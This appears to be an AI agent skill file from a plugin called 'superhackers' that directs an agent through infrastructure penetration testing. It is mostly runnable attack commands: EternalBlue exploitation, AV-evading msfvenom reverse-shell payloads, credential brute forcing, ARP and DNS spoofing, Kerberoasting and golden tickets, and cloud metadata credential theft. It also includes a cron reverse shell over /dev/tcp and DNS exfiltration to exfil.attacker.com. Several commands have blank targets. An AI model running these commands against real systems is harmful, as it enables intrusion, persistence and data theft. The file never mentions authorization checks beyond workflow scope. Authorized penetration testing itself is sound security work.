> **Before running any commands in this skill:**
> 1. Run `bash $SUPERHACKERS_ROOT/scripts/detect-tools.sh` if not already run this session
> 2. For any ❌ missing tool, use the fallback from the chain above
> **CRITICAL: If SUPERHACKERS_ROOT is not set, auto-detect it first**
```bash
# Auto-detect SUPERHACKERS_ROOT if not set
if [ -z "${SUPERHACKERS_ROOT:-}" ]; then
# Try common plugin cache paths
for path in \
"$HOME/.claude/plugins/cache/superhackers/superhackers/1.2.* \
"$HOME/.claude/plugins/cache/superhackers/superhackers/"* \
"$HOME/superhackers" \
"$(pwd)/superhackers"; do
if [ -d "$path" ] && [ -f "$path/scripts/detect-tools.sh" ]; then
export SUPERHACKERS_ROOT="$path"
echo "Auto-detected SUPERHACKERS_ROOT=$SUPERHACKERS_ROOT"
break
fi
done
fi
# Verify detection worked
if [ -z "${SUPERHACKERS_ROOT:-}" ] || [ ! -f "$SUPERHACKERS_ROOT/scripts/detect-tools.sh" ]; then
echo "ERROR: SUPERHACKERS_ROOT not set and auto-detection failed"
echo "Please set: export SUPERHACKERS_ROOT=/path/to/superhackers"
return 1
fi
```
## Tool Execution Protocol
**MANDATORY**: All infrastructure testing commands MUST follow this protocol:
1. **Timeout on network scans**: Network operations can hang indefinitely
```bash
# Port discovery with rustscan (3 seconds per target)
bash $SUPERHACKERS_ROOT/scripts/timeout-helper.sh 60 rustscan -a target --ulimit 5000
# Nmap service detection (2-5 minutes depending on ports)
bash $SUPERHACKERS_ROOT/scripts/timeout-helper.sh 300 nmap -sV -sC -p 22,80,443 target
# NSE scripts (2 minutes per script)
bash $SUPERHACKERS_ROOT/scripts/timeout-helper.sh 120 nmap --script smb-enum-shares -p445 target
```
2. **Validate scan output before proceeding**
```bash
OUTPUT=$(timeout 60 rustscan -a target 2>&1)
EXIT_CODE=$?
if [ $EXIT_CODE -eq 124 ]; then
echo "TOOL_FAILURE: rustscan timeout after 60 seconds"
echo "FALLBACK: Using nmap with timeout"
bash $SUPERHACKERS_ROOT/scripts/timeout-helper.sh 120 nmap -sS --top-ports 1000 target
elif [ $EXIT_CODE -ne 0 ]; then
echo "TOOL_FAILURE: rustscan failed with exit code $EXIT_CODE"
echo "FALLBACK: Using nmap directly"
bash $SUPERHACKERS_ROOT/scripts/timeout-helper.sh 180 nmap -sS -p- target
fi
# Check for open ports
if echo "$OUTPUT" | rg -q "Open.*port|open port"; then
echo "Open ports discovered"
PORTS=$(echo "$OUTPUT" | rg -o "\d{1,5}/open" | rg -o "^\d+" | tr '\n' ',')
else
echo "INFO: No open ports found or scan failed"
fi
```
3. **Fallback for masscan/nmap**
```bash
# Primary: nmap
if ! command -v nmap >/dev/null 2>&1; then
echo "FALLBACK: nmap not found, trying masscan"
bash $SUPERHACKERS_ROOT/scripts/timeout-helper.sh 60 masscan -p1-65535 target --rate=1000
if [ $? -ne 0 ]; then
echo "FALLBACK: Using nc for port scan"
for port in 21 22 23 80 443 445 3389; do
bash $SUPERHACKERS_ROOT/scripts/timeout-helper.sh 2 nc -zv target $port 2>&1 | rg -i "succeeded|open"
done
fi
fi
```
4. **Metasploit framework validation**
```bash
# Verify msfconsole is accessible
if ! command -v msfconsole >/dev/null 2>&1; then
echo "FALLBACK: Metasploit not found, using searchsploit + manual"
searchsploit --nmap "target" | head -10
fi
```
## Overview
**Role: Infrastructure Security Specialist** — Your job is to test network services, server configurations, and infrastructure components for security vulnerabilities. Stay in your lane: you test infrastructure, you do NOT test web application logic or write final reports.
Infrastructure penetration testing methodology covering the full attack chain: discovery → enumeration → vulnerability assessment → exploitation → post-exploitation → lateral movement → privilege escalation. This skill drives network-level assessments against servers, services, Active Directory environments, and cloud infrastructure.
## Pipeline Position
> **Position:** Phase 3 (Testing, infrastructure-focused) — after `recon-and-enumeration`, before `vulnerability-verification`
> **Expected Input:** Recon deliverable containing: host inventory, open ports, running services, OS fingerprints, network topology
> **Your Output:** Infrastructure security findings with evidence — misconfigurations, vulnerable services, default credentials, privilege escalation paths
> **Consumed By:** `vulnerability-verification` (confirms findings), `exploit-development` (for PoC), `writing-security-reports` (documents findings)
> **Critical:** Your findings go to verification — do NOT self-verify. Focus on thorough infrastructure-specific discovery.
**REQUIRED SUB-SKILL:** Use superhackers:recon-and-enumeration for initial target scoping and OSINT before infrastructure testing.
## When to Use
- External or internal network penetration test engagement
- Host discovery and port scanning tasks
- Service enumeration on discovered hosts
- Exploiting network services (SSH, SMB, RDP, FTP, etc.)
- Active Directory domain compromise
- Password cracking and credential attacks
- Network-level attacks (MITM, ARP spoofing, DNS poisoning)
- Cloud infrastructure assessment (AWS, GCP, Azure)
- Post-exploitation, pivoting, and lateral movement
- Privilege escalation on compromised hosts
## Core Pattern
```
1. HOST DISCOVERY → Find live targets on the network
2. PORT SCANNING → Identify open ports and services
3. SERVICE ENUM → Fingerprint services, grab banners, find versions
4. VULN ASSESSMENT → Map vulnerabilities with NSE scripts and nuclei
5. EXPLOITATION → Gain initial access via exploits or credential attacks
6. POST-EXPLOITATION → Escalate privileges, establish persistence
7. LATERAL MOVEMENT → Pivot to other hosts, move through the network
8. DATA EXFILTRATION → Locate and extract target data
9. REPORTING → Document findings with evidence
```
### Execution Discipline
- **Persist**: Continue working through ALL steps of the Core Pattern until completion criteria are met. Do NOT stop after a single tool run or partial result.
- **Scope**: Work ONLY within this skill's methodology. Do NOT jump to another phase (e.g., don't start writing the report while still testing).
- **Negative Results**: If thorough testing reveals no vulnerabilities, that IS a valid result. Document what was tested and report "no findings" — do NOT invent issues.
- **Retry Limit**: Max 3 attempts per test. If blocked, classify the failure (see Failure Recovery Protocol) and proceed.
**REQUIRED SUB-SKILL:** Use superhackers:writing-security-reports for step 9.

## Implementation
### Phase 1: Host Discovery
**ARP Discovery (local network):**
```bash
# ARP scan for local subnet - fastest for L2 adjacent targets
nmap -sn -PR 192.168.1.0/24 -oG discovery.txt
# Parse live hosts
rg "Up" discovery.txt | awk '{print $2}' > live_hosts.txt
```
**ICMP and TCP Discovery (remote networks):**
```bash
# Combined ICMP echo + TCP SYN on common ports for discovery
nmap -sn -PE -PS22,80,443,445,3389 -PP -PM 10.10.10.0/24 -oA host_discovery
# When ICMP is blocked, use TCP-only discovery
nmap -sn -PS21,22,23,25,80,110,139,443,445,3306,3389,8080 10.10.10.0/24
```
**Using bettercap for network discovery:**
```bash
# Start bettercap for passive and active network recon
sudo bettercap -iface eth0
# Inside bettercap interactive:
net.probe on
net.show
net.recon on
```
### Phase 2: Port Scanning
**Staged scanning approach — rustscan first, then targeted nmap (REQUIRED PATTERN):**
> **Never run nmap full-range scans as the primary scanner.** rustscan completes all 65535 TCP ports in seconds — nmap takes minutes and frequently times out silently. Use rustscan for discovery, nmap only for service/version/script on confirmed open ports.
```bash
# Stage 1: Fast full TCP port discovery with rustscan
rustscan -a --ulimit 5000 -b 1000 -- --open -oG scan_rustscan_ports.gnmap
OPEN_PORTS=$(rg -o '[0-9]+/open' scan_rustscan_ports.gnmap | cut -d/ -f1 | sort -n | paste -sd',')
echo "Confirmed open TCP ports: $OPEN_PORTS"
# Stage 2: Service version + script detection on confirmed open ports only
nmap -sV -sC -p "$OPEN_PORTS" -oA scan_services
# Stage 3: OS detection on confirmed open ports
nmap -O --osscan-guess -p "$OPEN_PORTS" -oA scan_os
# Stage 4: UDP scan top ports (rustscan does not support UDP — nmap only)
nmap -sU --top-ports 50 -T4 -oA scan_udp
# Stage 5: NSE scripts — service specific, confirmed ports only (always with timeout)
# For macOS compatibility, use: bash $SUPERHACKERS_ROOT/scripts/timeout-helper.sh
# For long-running commands, use: bash $SUPERHACKERS_ROOT/scripts/timeout-helper.sh 120 nmap --script vuln -p "$OPEN_PORTS" -oA scan_vuln_nse
# For long-running commands, use: bash $SUPERHACKERS_ROOT/scripts/timeout-helper.sh 120 nmap --script smb-enum-shares,smb-enum-users -p 445 -oN scan_smb.txt
# FALLBACK: If rustscan unavailable, use nmap with rate limit
# nmap -sS -p- -T4 --min-rate 1000 -oA scan_full
```
### Output Validation (MANDATORY)
After every scanning tool execution (nmap, masscan, smbclient, ldapsearch, snmpwalk), validate output:
```bash
bash $SUPERHACKERS_ROOT/scripts/validate-output.sh
```
**Infrastructure scans are especially prone to silent failures** due to firewall rules, wrong interfaces, and permission issues. Always validate. If `VALIDATION=failed`: check permissions (sudo often required for SYN scans), verify the correct network interface, and confirm target reachability before retrying.
### Checkpoint: Mid-Testing Assessment
Before proceeding to advanced techniques, pause and verify:
1. **Am I testing the right thing?** Re-confirm the technology stack matches your attack approach
2. **Are my payloads reaching the target?** Verify with a canary request (unique string in parameter — check response/logs for it)
3. **Am I getting real responses?** Check for WAF/proxy interference (compare response to a known-good baseline)
4. **What have I found so far?** Inventory findings and their verification status
5. **What's my time budget?** Am I spending proportional time to remaining scope?
If any answer reveals a problem, reassess before continuing.
### Phase 3: Service Enumeration
**SSH (port 22):**
```bash
# Banner grab and algorithm enumeration

```
**FTP (port 21):**
```bash
# Check for anonymous login and enumerate
nmap -sV -p21 --script ftp-anon,ftp-syst,ftp-vsftpd-backdoor
# If anonymous allowed:
ftp
# > ls -la
# > get interesting_file.txt
```
**SMB (port 445/139):**
```bash
# Full SMB enumeration
nmap -p445 --script smb-enum-shares,smb-enum-users,smb-enum-domains,smb-os-discovery,smb-security-mode
# Check for known SMB vulns
nmap -p445 --script smb-vuln-ms17-010,smb-vuln-ms08-067,smb-vuln-cve-2017-7494
# Null session enumeration
smbclient -L /// -N

nmap -p5985,5986 --script http-auth,http-title
# Connect with credentials (using evil-winrm or similar)
# Test authentication via HTTP
curl -s http://:5985/wsman
```
### Phase 4: Vulnerability Assessment
**Automated scanning with nuclei:**
```bash
# Full vulnerability scan
nuclei -u -as -o nuclei_results.txt
# Scan multiple targets
nuclei -l urls.txt -t cves/ -t vulnerabilities/ -severity critical,high -o nuclei_critical.txt
# Scan specific technology
nuclei -u -tags apache,nginx,iis -o nuclei_webserver.txt
# Network-level templates
nuclei -u -t network/ -o nuclei_network.txt
```
**NSE vulnerability scanning:**
```bash
# Comprehensive vuln scan
nmap --script vuln -p -oA vuln_scan
# Specific CVE checks
nmap --script "*cve*" -p
# Safe category scripts (non-intrusive)
nmap --script safe -p
```
**REQUIRED SUB-SKILL:** Use superhackers:vulnerability-verification to validate each finding before reporting.
### Phase 5: Exploitation
**Metasploit exploitation workflow:**
```bash
# Start Metasploit
msfconsole -q
# Search for exploit matching service
search type:exploit platform:windows name:smb
search cve:2021-34527 # PrintNightmare
# Example: EternalBlue exploitation
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST
set LPORT 4444
check # Verify vuln before firing
exploit
```
**Payload generation with msfvenom:**
```bash
# Windows reverse shell
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST= LPORT=4444 -f exe -o shell.exe
# Linux reverse shell
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST= LPORT=4444 -f elf -o shell.elf
# Web payloads
msfvenom -p php/meterpreter/reverse_tcp LHOST= LPORT=4444 -f raw -o shell.php
msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT=4444 -f war -o shell.war
# Encoded payload to evade basic AV
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST= LPORT=4444 -e x64/xor_dynamic -i 5 -f exe -o encoded_shell.exe
```
**Credential-based attacks:**
```bash
# Nmap brute force (use sparingly — slow and noisy)
nmap -p22 --script ssh-brute --script-args userdb=users.txt,passdb=pass.txt
# Metasploit SSH brute force
use auxiliary/scanner/ssh/ssh_login
set RHOSTS
set USER_FILE users.txt
set PASS_FILE passwords.txt
set STOP_ON_SUCCESS true
run
# SMB credential testing
use auxiliary/scanner/smb/smb_login
set RHOSTS
set SMBUser administrator
set PASS_FILE passwords.txt
run
# Default credential checks
use auxiliary/scanner/http/http_login
set RHOSTS
set TARGETURI /admin
set USER_FILE default_users.txt
set PASS_FILE default_pass.txt
run
```
### Phase 6: Password Cracking

# Combinator + rules
hashcat -m 1000 -a 1 ntlm.txt wordlist1.txt wordlist2.txt
# Mask attack (8-char alphanumeric)
hashcat -m 1000 -a 3 ntlm.txt ?a?a?a?a?a?a?a?a
# Show cracked
hashcat -m 1000 ntlm.txt --show
```
### Phase 7: Network Attacks
**ARP Spoofing with bettercap:**
```bash
sudo bettercap -iface eth0
# ARP spoof entire subnet (MITM position)
set arp.spoof.targets
set arp.spoof.fullduplex true
arp.spoof on
# Enable packet sniffing
net.sniff on
# Capture credentials from HTTP traffic
set net.sniff.regexp .*password=.+
net.sniff on
```
**DNS Poisoning with bettercap:**
```bash
sudo bettercap -iface eth0
# DNS spoofing
set dns.spoof.domains target-domain.com
set dns.spoof.address
dns.spoof on
arp.spoof on
```
**HTTP request smuggling:**
```bash
# Test for HTTP smuggling vulnerabilities
python3 smuggler.py -u https:// -m all
# Test specific technique
python3 smuggler.py -u https:// -m CL-TE
python3 smuggler.py -u https:// -m TE-CL
```
### Phase 8: Active Directory Attacks
**Domain enumeration (post-compromise):**
```bash
# From Meterpreter session or shell on domain-joined host
# Enumerate domain info via LDAP
ldapsearch -x -H ldap:// -D 'DOMAIN\user' -w 'password' -b "dc=domain,dc=local" "(objectclass=user)" sAMAccountName memberOf
# Enumerate SPNs for Kerberoasting
ldapsearch -x -H ldap:// -D 'DOMAIN\user' -w 'password' -b "dc=domain,dc=local" "(&(objectclass=user)(servicePrincipalName=*))" sAMAccountName servicePrincipalName
```
**Kerberoasting:**
```bash
# From Metasploit with valid domain creds
use auxiliary/gather/get_user_spns
set RHOSTS
set DOMAIN domain.local
set USERNAME user
set PASSWORD password
run
# Crack extracted TGS hashes
hashcat -m 13100 -a 0 kerberoast_hashes.txt rockyou.txt -r best64.rule
```
**AS-REP Roasting:**

```
**Golden Ticket / Silver Ticket (post-domain-admin):**
```bash
# From Meterpreter on DC — extract krbtgt hash
hashdump
# Or use kiwi extension
load kiwi
dcsync_ntlm DOMAIN\\krbtgt
# Golden ticket grants TGT as any user
# Silver ticket grants TGS for specific service
# Execute via kiwi/mimikatz in Meterpreter session
golden_ticket_create -d domain.local -u Administrator -s -k -t /tmp/golden.kirbi
kerberos_ticket_use /tmp/golden.kirbi
```
### Phase 9: Cloud Infrastructure
**AWS S3 bucket enumeration:**
```bash
# Check for public S3 buckets
nmap --script http-aws-s3-ls -p443
# Probe bucket names derived from target
for bucket in $(cat bucket_names.txt); do
curl -s -o /dev/null -w "%{http_code} $bucket\n" "https://${bucket}.s3.amazonaws.com/"
done
# Check bucket ACL and listing
curl -s "https://.s3.amazonaws.com/?acl"
curl -s "https://.s3.amazonaws.com/?max-keys=100"
```
**Metadata service abuse (SSRF → cloud creds):**
```bash
# AWS metadata endpoint (IMDSv1)
curl http://169.254.169.254/latest/meta-data/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
# GCP metadata
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token
# Azure metadata
curl -H "Metadata: true" "http://169.254.169.254/metadata/instance?api-version=2021-02-01"
```
**IAM misconfigurations (with stolen creds):**
```bash
# Enumerate what the stolen creds can do
aws sts get-caller-identity
aws iam list-users
aws iam list-roles
aws iam list-attached-user-policies --user-name
aws s3 ls
aws ec2 describe-instances --region us-east-1
```
### Phase 10: Post-Exploitation
**Linux Privilege Escalation:**
```bash
# From Meterpreter
use post/multi/recon/local_exploit_suggester
set SESSION
run
# Manual checks from shell
id && whoami && hostname
uname -a
cat /etc/os-release
sudo -l # sudo misconfigurations
find / -perm -4000 -type f 2>/dev/null # SUID binaries
find / -writable -type d 2>/dev/null # World-writable dirs
crontab -l && ls -la /etc/cron* # Cron jobs
cat /etc/passwd | rg -v nologin # Users with shells
ls -la /home/*/.ssh/ # SSH keys
env | rg -i pass # Env variables
getcap -r / 2>/dev/null # Linux capabilities
```
**Windows Privilege Escalation:**
```bash
# From Meterpreter
getsystem # Try known techniques
use post/multi/recon/local_exploit_suggester
set SESSION
run
# Manual checks from shell
whoami /all # Current user privileges
systeminfo # OS and patch info
net user # Local users
net localgroup administrators # Admin group members
cmdkey /list # Stored credentials
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" # Autologon creds
schtasks /query /fo LIST /v # Scheduled tasks
wmic service list brief # Running services
icacls "C:\Program Files\*" /T # Weak service permissions
```
**Pivoting and Lateral Movement:**
```bash
# Metasploit pivoting
# From active Meterpreter session on dual-homed host
run autoroute -s 172.16.0.0/24
background
# Set up SOCKS proxy for tool routing
use auxiliary/server/socks_proxy
set SRVPORT 1080
run -j
# Configure proxychains to use Metasploit SOCKS
# /etc/proxychains.conf → socks5 127.0.0.1 1080
# Scan internal network through pivot
proxychains nmap -sT -T3 -p22,80,443,445,3389 172.16.0.0/24
# Port forwarding for specific services
# Forward local port 8888 to internal host port 80
portfwd add -l 8888 -p 80 -r 172.16.0.10
```
**Persistence:**
```bash
# Meterpreter persistence
run persistence -U -i 30 -p 4444 -r
# Linux persistence - SSH key injection
mkdir -p /root/.ssh
echo "" >> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys
# Linux persistence - cron reverse shell
(crontab -l; echo "*/5 * * * * /bin/bash -c 'bash -i >& /dev/tcp//4444 0>&1'") | crontab -
# Windows persistence - scheduled task
schtasks /create /tn "SystemUpdate" /tr "C:\Windows\Temp\shell.exe" /sc onlogon /ru SYSTEM
```
**Data Exfiltration:**
```bash
# Compress and exfiltrate
tar czf /tmp/loot.tar.gz /path/to/sensitive/data
# Exfil over HTTP
python3 -m http.server 8080 # On target
wget http://:8080/loot.tar.gz # On attacker
# Exfil via DNS (slow but stealthy)
# Base64 encode and send as DNS queries
cat /tmp/loot.tar.gz | base64 | fold -w 60 | while read line; do
nslookup "$line.exfil.attacker.com"
done
```
**REQUIRED SUB-SKILL:** Use superhackers:exploit-development when custom exploit development is needed for discovered vulnerabilities.
## Chaining Opportunities
### From Initial Access
- Anonymous FTP → writable directory → web shell upload → RCE on web server
- Default credentials on admin panel → configuration change → RCE via admin features
- SNMP community string → network topology + credentials → lateral movement
### From Credential Access
- Kerberoasted service account → password reuse → lateral movement to other hosts
- NTLM relay → domain admin via unconstrained delegation → full domain compromise
- Cracked hash → password spray across services → mass access
### From Network Position
- ARP spoofing → MITM → credential interception → authenticated access
- DNS poisoning → phishing/credential capture → initial access
- SSRF from web server → cloud metadata → IAM credentials → infrastructure compromise
### From Post-Exploitation
- Local admin → SAM dump → pass-the-hash → lateral movement
- Domain user → Kerberoast → service account → servers running that service
- Linux root → SSH keys → jump to other hosts → network-wide access
- Meterpreter session → route through pivot → scan internal network → new attack surface
## Pro Tips
1. **Always check `check` before `exploit`**: In Metasploit, run `check` first. Blind exploitation crashes services, burns access, and alerts defenders. The extra 5 seconds saves hours of re-engagement.
2. **Password rules matter more than wordlists**: Plain rockyou.txt misses `Password123!`, `Summer2024!`, `CompanyName1!`. Chain rules: `--rules=best64` for john, `-r best64.rule` for hashcat. Mutation catches 3x more passwords.
3. **Pivot immediately after initial access**: First action: background the session, set up persistence, then autoroute through the compromised host. Sessions die; persistence survives.
4. **SNMP is the most underrated service**: Community string `public` or `private` on SNMP gives you network topology, running processes, installed software, and sometimes credentials. Always check UDP 161.
5. **Check for password reuse across services**: Cracked credentials from one service frequently work on SSH, RDP, SMB, database, and web admin panels. Always spray discovered credentials across all authenticated services.
6. **Run `local_exploit_suggester` immediately**: On every new Meterpreter session, run `post/multi/recon/local_exploit_suggester`. It cross-references the target's patch level against known exploits and saves hours of manual research.
7. **Log everything from session start**: Run `script -a pentest.log` before anything else. In Meterpreter, `screenshot`, `sysinfo`, `getuid` immediately. Evidence disappears when sessions die.
8. **Don't ARP spoof entire subnets**: Target specific hosts with `set arp.spoof.targets`. Subnet-wide spoofing causes network disruption, crashes switches, and alerts blue team instantly.
9. **Extract Kerberos tickets early**: Even as a low-privilege domain user, Kerberoasting and AS-REP roasting require no special privileges. Run them first — cracking runs in the background while you continue testing.
10. **Clean up as you go**: Document every file dropped, account created, config changed, and persistence mechanism installed. Clean up before engagement ends. A cleanup appendix in the report is mandatory.
## Common Mistakes
1. **Running full port scans against entire subnets first** — Start with targeted top-port scans against live hosts. Full `-p-` scans are for specific interesting targets only. Scanning everything everywhere wastes hours.
2. **Skipping UDP scanning entirely** — SNMP (161), DNS (53), TFTP (69), NTP (123) often yield critical findings. Run `nmap -sU --top-ports 50` on key targets at minimum.
3. **Not verifying exploits with `check` before firing** — Always run `check` in Metasploit before `exploit`. Blind exploitation crashes services and burns access. Verify the vulnerability exists first.
4. **Using default Metasploit payloads** — `windows/meterpreter/reverse_tcp` gets caught by every AV. Use `windows/x64/meterpreter/reverse_tcp` with encoding, or staged payloads matching target architecture.
5. **Cracking hashes without rules** — Plain wordlist attacks miss trivially mutated passwords. Always chain rules: `--rules=best64` for john, `-r best64.rule` for hashcat. Password123! won't be in rockyou.txt but rules catch it.
6. **Forgetting to screenshot and log everything** — Run `script -a pentest.log` at session start. In Meterpreter, `screenshot`, `sysinfo`, `getuid` immediately. Evidence disappears when sessions die.
7. **Not setting up persistence early** — Sessions drop. First action after exploitation: background the session, set up a secondary access method, then continue post-exploitation.
8. **ARP spoofing the entire subnet** — Target specific hosts with `set arp.spoof.targets`. Spoofing the entire subnet causes network disruption, crashes switches, and alerts blue team instantly.
9. **Ignoring patch levels during enumeration** — `systeminfo` on Windows and `uname -a` on Linux tell you exactly which kernel/OS exploits apply. Cross-reference with `local_exploit_suggester` output.
10. **Not cleaning up after testing** — Remove dropped files, kill persistence mechanisms, clear added accounts, restore modified configs. Document everything you changed for the cleanup appendix in the report.
## Failure Recovery Protocol
When a testing technique fails, classify the failure before retrying:
| Failure Type | Indicators | Recovery Strategy |
|---|---|---|
| **Technical** | Tool crash, timeout, malformed output | Retry with different parameters, alternative tool from fallback chain |
| **Environmental** | WAF blocking, rate limiting, network issue | Adjust timing/headers, use different source IP, try alternative endpoint |
| **Conceptual** | Payload reaches target but has no effect | Pivot to different attack class entirely |
| **External** | Service down, auth expired, scope boundary | Document blocker, skip to next target, revisit later |
**Solution Diversity Rule**: After 2 failed attempts with the same approach category, you MUST:
1. Stop and reassess the attack surface
2. Choose a fundamentally different technique (not just a payload variant)
3. If 3 different approaches all fail, document as "tested, not vulnerable" with evidence
**Max Retry Policy**: 3 attempts per technique, 3 techniques per vulnerability class, then move on.
**REQUIRED SUB-SKILL:** Use superhackers:writing-security-reports for documenting all findings with proper evidence and remediation guidance.
## Completion Criteria
This skill's work is DONE when ALL of the following are true:
- [ ] All hosts and services from the recon deliverable have been tested
- [ ] Default credential checks have been performed on all authentication-capable services
- [ ] Service-specific vulnerability checks have been completed (SSH, FTP, SMB, RDP, databases, etc.)
- [ ] Privilege escalation paths have been evaluated where access was obtained
- [ ] Each finding is documented with reproducible evidence
- [ ] All todo items created during this phase are marked complete
When all conditions are met, state "Phase complete: infra-pentesting" and stop.
Do NOT verify findings or write the final report — those are other skills' jobs.
